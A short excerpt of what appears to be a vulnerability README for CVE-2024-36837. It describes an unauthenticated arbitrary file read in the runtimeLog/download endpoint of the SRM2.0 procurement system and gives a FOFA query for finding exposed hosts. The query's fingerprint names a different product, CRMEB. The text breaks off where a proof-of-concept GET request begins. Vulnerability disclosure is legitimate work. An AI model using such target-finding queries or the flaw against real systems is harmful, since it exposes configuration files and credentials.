CVE-2024-36837

README.md CVE-2024-36837 Disclaimer 智联云采 SRM2.0 runtimeLog/download 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。 fofa语法： body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB" POC： GET...